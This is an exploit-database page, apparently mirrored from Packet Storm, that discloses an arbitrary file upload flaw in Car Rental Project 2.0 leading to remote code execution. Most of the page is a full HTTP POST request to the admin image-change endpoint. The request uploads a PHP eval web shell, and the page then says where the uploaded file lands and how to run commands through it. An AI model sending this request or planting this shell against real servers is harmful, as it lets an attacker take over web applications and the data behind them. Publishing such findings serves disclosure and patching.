Lucene search
K

Car Rental Project 2.0 Shell Upload

🗓️ 03 Feb 2021 00:00:00Reported by Jannick TigerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1070 Views

Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution vulnerabilit

Code
`# Exploit Title: Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution  
# Date: 3/2/2021  
# Exploit Author: Jannick Tiger  
# Vendor Homepage: https://phpgurukul.com/  
# Software Link: https://phpgurukul.com/car-rental-project-php-mysql-free-download/  
# Version : V 2.0  
# Vulnerability Type: Arbitrary File Upload   
# Tested on Windows 10 、XAMPP  
# This application is vulnerable to Arbitrary File Upload to Remote Code Execution vulnerability.  
# Vulnerable script:  
  
  
POST /carrental/admin/changeimage1.php?imgid=4 HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------346751171915680139113101061568  
Content-Length: 369  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/carrental/admin/changeimage1.php?imgid=4  
Cookie: PHPSESSID=te82lj6tvep7afns0qm890393e  
Upgrade-Insecure-Requests: 1  
  
-----------------------------346751171915680139113101061568  
Content-Disposition: form-data; name="img1"; filename="1.php"  
Content-Type: application/octet-stream  
  
<?php @eval($_POST[pp]);?>  
-----------------------------346751171915680139113101061568  
Content-Disposition: form-data; name="update"  
  
  
-----------------------------346751171915680139113101061568--  
  
  
  
# Uploaded Malicious File can be Found in :  
carrental\admin\img\vehicleimages\1.php  
# go to http://localhost/carrental/admin/img/vehicleimages/1.php,Execute malicious code via post value phpinfo();  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation